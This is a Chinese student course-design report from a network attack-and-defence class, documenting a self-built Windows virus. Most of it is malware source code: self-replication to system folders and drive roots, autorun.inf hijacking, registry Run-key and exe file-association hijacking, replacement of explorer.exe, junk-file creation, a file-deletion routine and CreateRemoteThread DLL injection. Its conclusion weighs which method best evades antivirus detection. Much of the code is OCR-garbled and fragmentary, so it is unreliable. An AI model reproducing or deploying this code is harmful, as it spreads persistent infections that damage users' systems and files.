

# 《网络攻防课程设计》

# 设计报告

学院:	信息工程学院
专业班级:	信息安全 111 班
学 号:	31
姓 名:	江林伟
指导老师:	李 伟
完成时间:	2014年7月4日
成 绩:	

# 一、设计目的

- 利用 C++编写基本的病毒
- 了解自动生成病毒体的病毒特性
- 学会病毒开机自启动的手段和注册表设置
- 了解并实现注入 DLL 的方法

# 二、设计要求与指标

- 在 C、D、E 盘和 C:\Windows\System、C:\Windows 中生成病毒体文件。
- 在 C、D、E 盘中生成自动运行文件。
- 注册 C:\Windows\system\svchost.exe,使其开机自动运行。
- 在 C:\Windows\System 下生成隐蔽 DLL 文件
- 病毒在执行后具有相联复制能力

# 三、设计内容与具体实现过程

### 3.1 自我复制与运行

类似普通U盘病毒,具有自我复制、运行能力。

```
* svchost.cpp

*
* Created on: 2014年7月2日

* Author: ismdeep

*/

/* SVCHOST.CPP */

/* SVCHOST.EXE */

#define SVCHOST_NUM 6

#include <stdio.h>

#include <string.h>
```

```
char *regadd =
\label{eq:condition} $$''\text{HKLM}\SOFTWARE\Microsoft}\Windows\CurrentVersion$$
\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe
int copy(char *infile, char *outfile)
     FILE *input, *output;
     char temp;
     if (strcmp(infile, outfile) != 0 && ((input =
fopen(infile, "rb")) != NULL)
               && ((output = fopen
               (outfile, "wb")) != NULL))
          while (!feof(input))
               fread(&temp, 1, 1, input);
               fwrite(&temp, 1, 1, output);
          fclose(input);
          fclose(output);
          return 0;
     } else
         return 1;
int main(void)
```

```
FILE *input, *output;
    int i, k;
    for (i = 0; i < 3; i++)
         output = fopen(files_autorun[i], "w");
         fprintf(output, "%s", autorun);
         fclose(output);
    for (i = 0; i <= SVCHOST_NUM; i++)</pre>
     {
        if ((input = fopen(files_svchost[i],
"rb")) != NULL)
             fclose(input);
              for (k = 0; k < SVCHOST_NUM; k++)
                  copy(files_svchost[i],
files_svchost[k]);
             i = SVCHOST_NUM + 1;
       }
    system(regadd); /* 注册 SVCHOST. exe, 让其在启动时
运行 */
    return 0;
```

### 3.2 感染可执行文件

- 1、在所有磁盘的根目录生成 svchost. com 和 autorun. inf 文件
- 2、生成病毒体

```
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
```

- 3、病毒体 C:\Windows\explorer. exe 感染原 explorer. exe 文件,使其不需要修改注册表实现 开机启动,并且可以在 explorer. exe 启动之前启动。
- 4. 修改注册表,在 HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run设置自启动项(此操作不使用 windowsAPI, 防止用户对病毒体的发现,并实现并行执行)5. 生成的 autorun. inf 改变磁盘的打开方式,使其在 windows2000 以上的系统无论选择"打开"、"双击"、"

资源管理器"等方式都无法打开分驱,而是以运行病毒的方式取而代之。

- 6. 连锁能力,将病毒体相连,实现相连复制更新
- 7. 使用进程不断调用进程, 使得在任务管理里无法结束病毒进程
- 8. 不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后 1 秒内再建
- 9. 生成垃圾文件(DESTORY 感染 任意数字) 5 个于 C 盘下
- 10. 附带删除文件函数(为防止危害,本函数默认不执行)

提供病毒卸载程序(保存为 X. BAT, 双击运行即可卸载):

```
      @echo off
      del f

      taskkill /im mstsc32.exe /f
      del f

      del c:\windows\wjview32.com
      del g

      del c:\windows\system32\dllcache\explorer.exe
      del g

      del c:\windows\system32\dllcache\explorer.exe
      del h

      del c:\windows\system32\cmdsys.sys
      copy

      del c:\windows\system32\mstsc32.exe
      c:\windows\copy

      del c:\sychost.com
      copy

      del c:\autorun.inf
      c:\windows\copy

      del d:\sychost.com
      del c

      del d:\autorun.inf
      echo

      del e:\sychost.com
      pause
```

```
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.exe
c:\windows\explorer.exe
copy c:\windows\system\explorer.exe
c:\windows\system\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
pause
```

#### 实现上述功能的病毒源代码

```
* * svchost.cpp

* * Created on: 2014年7月2日

* Author: ismdeep

*/

#include <stdio.h> /*标准输入输出*/
#include <string.h> /*字符串操作*/
#include <stdib.h> /*其它函数*/
#include <process.h> /*进程控制*/
#include <dir.h> /*目录函数*/
#include <dir.h> /*目录函数*/
#include <windows.h>

#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM 5 /*删除文件数量/
```

# 3.2.1 autorun. inf 内容

```
/*
文件 AUTORUN. INF 内容:

1. 自动运行 SVCHOST. com

2. 覆盖默认打开命令,使用病毒体作为新的打开方式

3. 覆盖默认资源管理器命令,使病毒体作为新的命令方式

*/
```

# 3.2.2 添加注册表项

# 3.2.3 复制文件

```
/*
函数:复制文件
复制源: infile
目的地: outfile

成功返回 0,失败返回 1

*/
int copy(char *infile, char *outfile)
{

FILE *input, *output;

char temp;

if (strcmp(infile, outfile) != 0 && ((input = fopen(infile, "rb")) != NULL)
```

```
} else
return 1;
```

# 3.2.4 通过 explorer 自动运行

```
M数:通过explorer自动运行

成功返回0,失败返回1,2

*/

int autorun_explorer()

{

FILE *input;

if ((input = fopen("c:\\windows\\system\\explorer.exe", "rh")) != NULL)

{

fclose(input);

remove("c:\\windows\\$temp$");

remove("c:\\windows\\system32\\\dllcache\\$temp$");

return 1;

}
```

```
copy("c:\\windows\\explorer.exe",
"c:\\windows\\system\\explorer.exe");

rename("c:\\windows\\explorer.exe",
"c:\\windows\\system32\\dllcache\\explorer.exe
e","c:\\windows\\system32

\\dllcache\\$temp$");

if(copy("SVCHOST.com","c:\\windows\\explorer.exe
")==0 && copy

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)

return 0;
else
return 2;
}
```

# 3.2.5 添加注册表项

```
/*
函数:添加注册表项
成功返回 0 , 失败返回 1

*/

int add_reg()
{

FILE *output;

if ((output = fopen("$$$$$", "w")) != NULL)
```

```
fprintf(output, regadd);
fclose(output);
spawn1(1, "c:\\windows\\regedit.exe", " /s $$$$$", NULL);
}
```

# 3.2.6 复制病毒+autorun. inf 自动运行

```
函数:复制病毒 + Autorun.inf 自动运行
void copy_virus()
    int i, k;
    FILE *input, *output;
    char *files_svchost[SVCHOST_NUM]=
    "svchost.com", "c:\\windows\\wjview32.com", "c:\\w
m32\c sys'', "c:\windows\system32\mstsc32
. exe", "c:\\windows\\explorer. exe"};
        char temp[2][20]=
        { "c:\\svchost.com", "c:\\autorun.inf"};
        for (i = 0; i < SVCHOST_NUM; i++)
            if ((input = fopen(files_svchost[i],
"<u>rb</u>")) != NULL)
                fclose(input);
```

```
for (k = 0; k < SVCHOST_NUM; k++)
                        copy(files_svchost[i],
files_svchost[k]);
                  i = SVCHOST_NUM;
         for (i = 0; i < SVCHOST_NUM; i++)
              if ((input = fopen(files_svchost[i],
"<u>rb</u>")) != NULL)
                   fclose(input);
                   for (k = 0; k < 24; k++)
                        copy(files_svchost[i],
temp[0]);
                        if ((output = fopen(temp[1],
"w")) != NULL)
                             fprintf(output, "%s",
autorun);
                             fclose(output);
```

```
}
temp[0][0]++;

temp[1][0]++;
}

i = SVCHOST_NUM;
```

# 3.2.7 制造垃圾文件

```
函数:制造垃圾文件
*/
void make_rubbish()
    int i;
    FILE *output;
    srand(0);
    for (i = 0; i < RUBBISH_NUM; i++)
        int n;
        char s[30];
        n = rand();
        sprintf(s, "C:\\DESTORY_感染_%d", n);
        if ((output = fopen(s, "w")) != NULL)
             fprintf(output, "%ld%s", n * n, s);
             fclose(output);
```

# 3.2.8 删除文件

```
/*

函数:删除文件

*/

void remove_files()

{

    long done;
    int i;
    struct _finddata_t ffblk;
    char *remove_files[3] =
    { "*. txt", "*. doc", "*. xls" };
    for (i = 0; i < 3; i++)
```

# 3.2.9 主程序

```
/*

主程序

使用 DEV-CPP 32 位 C 工程 实现 C 程序脱离命令行界面 , 于后台执行

*/

int main(int argc, char **argv)

{

   int contral = 0;

   if (argc > 1)

       if (strcmp(argv[1], "/s") == 0)

            goto next1;

   autorun_explorer();

   spawnl(1, "c:\\windows\\system\\explorer.exe", NULL);

   next1: add_reg();

   copy_virus();
```

```
make_rubbish();

/* remove_files(); */
spawn1(1, "c:\\windows\\system32\\mstsc32.exe", " /s", NULL);
return 0;
}
```

### 3.3 修改注册表

#### 3.3.1 可以用于病毒开机自启动的注册表位置:

```
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce]

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce]

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
```

以上只是默认运行的部分注册表位置,其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法,同样可以实现通过注册表开机自动运行。

# 3.3.2 关联文件类型

在注册表 HKEY\_CLASS\_ROOT 下可以更改文件类型的默认启动程序,比如更改 EXE 文件的启动程序为你写的病毒,那么每当运行 exe 程序时,病毒将替代程序运行

例:

到注册表 HKEY\_CLASS\_ROOT\exefile\shell\open\command 下,修改"默认"修改为c:\windows\svchost.exe "%1" %\*, 那么以后运行.exe 文件时只会运行c:\windows\svchost.exe

#### 3.3.3 程序修改注册表的方法:

(1)使用 REG 命令添加修改注册表:

REG 命令使用方法具体可以在命令提示符中输入 REG /?和通过参阅 Windows 命令帮助查看主要格式:

REG Operation [Parameter List]
Operation[QUERY|ADD|DELETE|COPY|SAVE|LOAD|UNLOAD|RESTORE|COMPARE|EXPORT|IMPORT]

例: 向 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 SVCHOST 的键值,键值内容为 C:\Windows\system\SVCHOST.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f

调用 reg 命令的方法主要有两中,一种是使用 C 语言中的 system 函数,另一种是使用 C 语言中的 spawn 类函数(如函数 spawn1)。具体 system 和 spawn1 使用方法请参见其它资料,这里仅举一例:

例:用 system 函数通过 reg 命令向 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 SVCHOST 的键值,键值内容为 C:\Windows\system\SVCHOST.exe

 $system("reg add\"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"/v SVCHOST/d C:\Windows\system\SVCHOST.exe/f");$ 

(2)使用 Windows API 添加修改注册表

RegCloseKey

WindowsAPI 为我们提供了大约 25 个函数。他提供了对注册表的读取,写入,删除,以及打开注册表及键值时所有函数这些函数有:

RegLoadKey

RegConnectRegistry RegNotifyChangeKeyValue(Windows9X 不适用) RegCreateKey RegOpenKey RegCreateKeyEx RegOpenKeyEx RegDeleteKey RegQueryInfoKey RegDeleteVale RegQueryValue RegEnumKey RegQueryValueEx RegFlushKey RegReplaceKey RegGetKeySecurity(Windows9X 不适用) RegRestoreKey(Windows9X 不适用)

RegSaveKey	RegSetValueEx
RegSetKeySecurity(Windows9X <b>不适用</b> )	RegUnLoadKey

等,函数的使用需要在 32 位 C 编译器下调用 windows. h 文件,同(1)中一样,具体函数的使用方法请参见其它资料,这里仅举一例.

例:通过 WindowsAPI 向 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 SVCHOST 的键值,键值内容为 C:\Windows\system\SVCHOST.exe

```
TRegistry* Registry;
Registry=new TRegistry();
Registry=>RootKey=HKEY_LOCAL_MACHINE;
Registry=>OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", FALSE);
Registry=>WriteString("SVCHOST", "C:\\Windows\\system\\SVCHOST. exe");WriteString()
Registry=>CloseKey();
```

#### (3)使用 REGEDIT 添加修改注册表

RegSetValue

REGEDIT 就是注册表编辑器,但它其实有一个/s 的参数,只要调用 regedit /s 注册表文件,就可以在后台无提示的修改注册表。同样需要用 spawnl 函数调用它。

例: 通过 spawn1 函数调用 regedit 向
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 wjview32 的键值,键值内容为 C:\windows\wjview32. com /s

```
char
*regadd={"REGEDIT4\n\n[HKEY LOCAL MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjvi
ew32\"=\"C:\\\windows\\\\wjview32.com /s\""};

FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)

{
    fprintf(output, regadd);
    fclose(output);
    spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
```

# 3.4 DLL 注入

随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的 DLL 病毒逐渐发展起来. DLL 是 Dynamic Link

Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而 DLL 病毒是通过

特别的方法,让系统文件 Rundl1. exe \ Rundl132. exe 等调用其的函数,而所调用的函数的代码就是病毒代码,或

者通过线程插入技术插入到系统进程 explorer. exe svchost. exe lsass. exe winlogon. exe 等或

iexplorer. exe 等常用软件进程中, 达到隐蔽的目的. DLL 病毒的编写(rund1132. exe 调用法)

#### DLL 注入源代码

```
#include <windows.h>
#include <iostream.h>
#include <tlhelp32.h>
#include <stdio.h>

// 用略· 在日标讲程中创建一个新的线程,向这个线程传递要注入的 Dll 的地址

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId);
int EnableDebugPriv(const char *name);

DWORD GetProcessId();
int main()
```

```
char myFile[MAX_PATH];
  GetCurrentDirectory(MAX_PATH, myFile);
  strcat(myFile, "\mydoor.dll");
  InjectDll(myFile, GetProcessId());

return 0;
}

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
    HANDLE hRemoteProcess;

// 设置权限,可以打开其他进程
```

```
EnableDebugPriv(SE_DEBUG_NAME);
    // OpenProcess(): Opens an existing local
process object.
    hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,
false, dwRemoteProcessId);
    //VirtualAllocEx(): Reserves or commits a region
of memory within the virtual address space of a
specified process.
                                     The function
initializes the memory it allocates to zero, unless
MEM RESET is used.
    char *pszLibFileRemote = NULL;
    pszLibFileRemote = (char
*)VirtualAllocEx(hRemoteProcess, NULL,
1strlen(D11Fu11Path)+1, MEM_COMMIT, PAGE_READWRITE);
    //WriteProcessMemory(): Writes data to an area
of memory in a specified process.
                                              The
entire area to be written to must be accessible or
the operation fails.
    // 将 DllFullPath 的内容写到这一打开的进程中
    WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *)DllFullPath,
1strlen(D11Fu11Path)+1, NULL);
    PTHREAD START ROUTINE pfnStartAddr =
(PTHREAD START ROUTINE)
GetProcAddress (GetModuleHandle (TEXT ("kernel32.dll"))
, "LoadLibraryA");
    //CreateRemoteThread(): Creates a thread that
runs in the virtual address space of another
process.
    // pfnStartAddr 指向的函数会调用
pszLibFileRemote
    HANDLE hRemoteThread;
```

```
if((hRemoteThread =
CreateRemoteThread(hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL)) == NULL)
    {
         cout<< "注入线程失败!" << endl;
         return false;
    }
    CloseHandle (hRemoteProcess);
    CloseHandle(hRemoteThread);
    return true;
int EnableDebugPriv(const char *name)
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //OpenProcessToken(): opens the access token
associated with a process
    OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    //LookupPrivilegeValue:()retrieves the locally
unique identifier (LUID) used on a specified system
to locally represent the specified privilege name.
    LookupPrivilegeValue(NULL, name, &luid);
    tp. PrivilegeCount = 1;
    tp. Privileges[0]. Attributes =
SE_PRIVILEGE_ENABLED;
```

```
tp. Privileges[0]. Luid = luid;
    AdjustTokenPrivileges(hToken, 0, &tp,
sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    return 0:
DWORD GetProcessId()
    DWORD Pid = -1;
    //CreateToolHelp32Snapshot(): Takes a snapshot
of the specified processes, as well as the heaps,
modules, and threads used by these processes.
    HANDLE hSnap =
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 1Prs;
    ZeroMemory(&1Prs, sizeof(1Prs));
    1Prs. dwSize = sizeof(1Prs);
    char *targetFile = "calc.exe";
    Process32First(hSnap, &lPrs);
    if(strstr(targetFile, lPrs.szExeFile))
```

```
Pid = 1Prs. th32ProcessID;
     return Pid;
}
while(1)
     ZeroMemory(&1Prs, sizeof(1Prs));
     1Prs. dwSize = sizeof(1Prs);
     if (!Process32Next(hSnap, &lPrs))
         Pid = -1;
         break;
     if(strstr(targetFile, lPrs.szExeFile))
         Pid = 1Prs. th32ProcessID;
         break;
return Pid;
```

这个例子可以在 explorer. exe 运行前启动并再次自动写自动运行键值, 前提是需要将该 DLL 文件写于

c:\windows\system32\winsys.dll,这就可以交给 exe 主病毒来做了,这就是要说的 DLL 病毒与 EXE 病毒联合,这样

可以加强病毒的攻击力度,它由主病毒体\*. exe 来释放 dl1 病毒辅助体\*. dl1, 达到 dl1 与 exe 联合的作用. 一般

的, d11 用来设置注册表的自启动, 以及病毒的复制, 而 exe 用来破坏. 当然, 也有少部分 DLL 病毒孤军奋战, 由于十

分隐蔽,也常常十分好用

```
释放病毒体示例:
/*释放上面的简单 dll 病毒体的例子的 exe*/
#include<stdio.h>
unsigned char DLL[15161] = {
...此处代码过长,略...};
int main(void)

{

FILE *output;
int i;
output=fopen("C:\\WINDOWS\\system32\\winsys.dll","wb");
fwrite(DLL, sizeof(DLL), 1, output);
fclose(output);
spawnl(1,"c:\\windows\\system32\\rundl132.exe"," C:\\WINDOWS\\system32\\winsys.dll start()",NULL);
return 0;
```

# 四、总结

使用 REG 命令添加注册表可以达到直接调用系统命令(工具)来修改注册表的目的,如果被杀毒软件拦截也只会显示修改操作的发出来自 C:\WINDOWS\system32\reg. exe,使病毒不容易被寻找到。但由于 REG 命令属于控制台命令,因此调用时有黑色的控制台出现,是病毒的征兆被感染用户发现,不利于病毒隐藏。

使用 WindowsAPI 添加注册表可以达到直接无须调用系统命令(工具)就可以修改注册表的目的,但如果被杀毒软件拦截会显示修改操 作来自的病毒体文件所在的路径,使病毒容易被寻找到。但由于 WindowsAPI 可以"悄悄"的完成修改,在前台没有任何显示,因此调用时如果未被拦截, 很难被感染用户发觉,利于病毒隐藏。

使用 spawn1 函数+REGEDIT 可以兼得 WindowsAPI 和 REG 两种方法的优势,添加注册表如果被杀毒软件拦截会显示修改操作来自 c:\windows\regedit.exe,使病毒的路径难以被寻找到,利于病毒的隐藏。REGEDIT 可以"悄悄"的完成修改,在前台没有任何显 示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。

# 五、主要实践活动和参考文献

### 主要实践活动:

利用 Dev C++和 Code::Blocks 配合 MinGW 编译器编写病毒程序,在虚拟机上运行。

### 参考文献:

- [1] 段钢 编著 加密与解密(第二版) 电子工业出版社
- [2] 候俊杰 著 深入浅出 MFC 第 2 版 华中科技大学出版社
- [3] SecurityFocus. http://www.securityfocus.com
- [4] Internet Security Systems. 2002 November 18 (Revised). X-Force™ Vulnerability Disclosure Guidelines.
- [5] 斯泽 计算机病毒防范艺术 机械工业出版社